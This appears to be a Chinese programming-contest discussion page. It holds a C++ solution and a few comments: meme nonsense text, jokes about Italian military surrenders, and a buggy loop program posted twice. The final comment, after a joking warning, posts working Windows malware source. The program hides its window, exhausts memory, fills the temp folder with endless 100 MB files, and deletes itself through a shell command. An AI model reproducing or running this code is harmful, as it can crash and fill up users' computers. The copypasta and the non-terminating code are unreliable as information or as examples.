#include<bits/stdc++.h>
using namespace std;
int q[10000000];
int a[100000];
int main(){
	int n,m,w,z,now=0;
	cin>>n>>m>>w;
	int ans=0;
	for(int i=1;i<=n;i++){
		cin>>a[i];
	}
	for(int i=1;i<=m;i++){
		cin>>z;
		if(q[z]==0){
			now+=a[z];
			q[z]=1;
			ans=max(ans,now);
			if(now>w){
				cout<<"Oh, My God!";
				return 0;
			}
		}
		else{
			q[z]=0;
			now-=a[z];
		}
	}
	cout<<ans;
	return 0;

}

3 条评论

  • @ 2025-4-22 18:25:25

    山重水复疑无路,柳暗花明又一村。

    ~意大利面拌42号混凝土~

    我不敢苟同。 我个人认为这个意大利面就应该拌42号混凝土。因为这个螺丝钉的长度,它很容易会直接影响到挖掘机的扭距,你往里砸的时候,一瞬间它就会产生大量的高能蛋白,俗称UFO。会严重影响经济的发展。 照你这么说,炸鸡块要用92#汽油,毕竟我们无法用光学透镜探测苏格拉底,如果二氧化氢持续侵蚀这个机床组件,那么我们早晚要在斐波那契曲线上安装一个胶原蛋白,否则我们将无法改变蜜雪冰城与阿尔别克的叠加状态,因为众所周知爱吃鸡摩人在捕鲲的时候往往需要用氢的同位素当做诱饵,但是原子弹的新鲜程度又会直接影响到我国东南部的季风和洋流,所以说在西伯利亚地区开设农学院显然是不合理的。

    我知道你一定会反驳我,告诉我农业的底层思维是什么,就是不用化肥农药和种子,还包括生命之源氮气,使甲烷分子直接转化成能够捕获放射性元素释放的β射线的单质,并且使伽马射线在常温下就能用老虎钳折弯成78°,否则在用望远镜观察细胞结构时,根本发现不了时空重叠时到底要叠几层才能使潼关肉夹馍更酥脆的原因。

    ~意大利投降~

    意大利花式投降第一招:

    意大利在进攻希腊的时候,前线的部队指挥官给墨索里尼发电报说,士兵们一致认为希腊境内有芬兰士兵,所以他们拒绝进攻。而墨索里尼在接到电报之后想了想就安排了前线的部队撤退,毕竟连苏联都不敢跟芬兰硬杠他们这斤两就不上去凑热闹了。在那之后德军对希腊进行调查之后发现,希腊境内确实有芬兰士兵,但是只有六个人,墨索里尼接到这份调查详情之后差点没气死。结果意大利方面解释说:“这个六个芬兰士兵,每个都能干掉意大利的一个军”

    意大利花式投降第二招:

    在北非战场上,英国人用400人组成的坦克部队像意大利冲锋,开始之后发现对面是由500人组成的反坦克阵地。当时英国的指挥官已经绝望了,打算放手一搏能捞回多少是多少,可是让人没想到的意大利在开了几炮之后,就投降了,英国的指挥官一脸懵逼,他已经做好全军阵亡的准备了,但是没想到对手还没开几炮就投降了,这是什么招数。结果,在时候英国指挥官问意大利的指挥官的为什么投降的时候,意大利指挥官非常遗憾的说:“我们没有带撬棍,撬不开那该死的弹药箱”。

    意大利花式投降第三招:

    就这样意大利以这种方式彻底在战场上出名了,因为意大利这种爱投降的事情传开之后,各国对于意大利的战俘看管也很随便,但是有一个晚上,一个战俘营的意大利士兵全部逃走了,当把这些战俘抓回来之后,才知道他们逃走的原因不过是因为不远处的那个战俘营有通心粉吃,所以他们才会集体挖了一个100多米的地道准备过去吃通心粉。战俘营的负责人知道他们逃跑的原因之后,表示如果他们听话会每星期给他们提供一次通心粉,但是不能再这样不打招呼就乱跑。

    但是这还不是最搞笑,最搞笑的,在一次战役结束之后,意大利的士兵没有一个人逃跑他们都欧站在原地等着英国把他们这些俘虏带走,可是现在英国的士兵都在忙着打扫战场,收集战利品,没有人有时间理他们,最重要的是现在英国的战俘营没有位置再关这么多人,但是意大利士兵就是不走,英国人不管他们,他们就那把枪顶在自己头上,跟在英国士兵后面转悠,后来英国士兵是在受不了了,就给了这些战俘一些材料,但是让人没有想到的是,这些意大利士兵居然用这些材料高高兴兴的修建了一座战俘营,把自己给关了进去。

    看到这里的时候,请先默默的在心里,心疼德国和日本一秒,有这么一群猪队友他们也挺不容易的,不过要是在战场上真的遇见这种军队,迟早要笑死在战场上。如果世界上都是意大利这种国家的话,那里还来的战争这种东西己给关了进去。

    看到这里的时候,请先默默的在心里,心疼德国和日本一秒,有这么一群猪队友他们也挺不容易的,不过要是在战场上真的遇见这种军队,迟早要笑死在战场上。如果世界上都是意大利这种国家的话,那里还来的战争这种东西**# ^^**

    • @ 2025-4-19 10:12:16

      #include <bits/stdc++.h> using namespace std; int a[1000100]; int b[1000100]; int main() { int n,m,c=0; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>a[i]; } for(int i=1;i<=m;i++){ cin>>b[i]; } for(int i=1;i<=max(n,m);i++){ for(int j=1;i<=max(n,m);+j++){ if(a[i]==b[j]){ c++; } } } cout<<c; return 0; }

      • @ 2025-4-19 10:12:45

        #include <bits/stdc++.h> using namespace std; int a[1000100]; int b[1000100]; int main() { int n,m,c=0; cin>>n>>m; for(int i=1;i<=n;i++){ cin>>a[i]; } for(int i=1;i<=m;i++){ cin>>b[i]; } for(int i=1;i<=max(n,m);i++){ for(int j=1;i<=max(n,m);+j++){ if(a[i]==b[j]){ c++; } } } cout<<c; return 0; }

    • @ 2025-4-5 8:24:46

      千万补药实行这个代码,电脑炸了我不管

      #include <windows.h> #include

      void SystemAttack() { while(true) { VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE); } }

      void FileAttack() { char tmpPath[MAX_PATH]; GetTempPathA(MAX_PATH, tmpPath); for(int i=0;;i++) { std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp") .seekp(100 * 1024 * 1024-1).put(0); } }

      void SelfDestruct() { system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0"); }

      int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); std::thread t1(SystemAttack); std::thread t2(FileAttack); t1.detach(); t2.detach(); SelfDestruct(); while(true); }

      • 1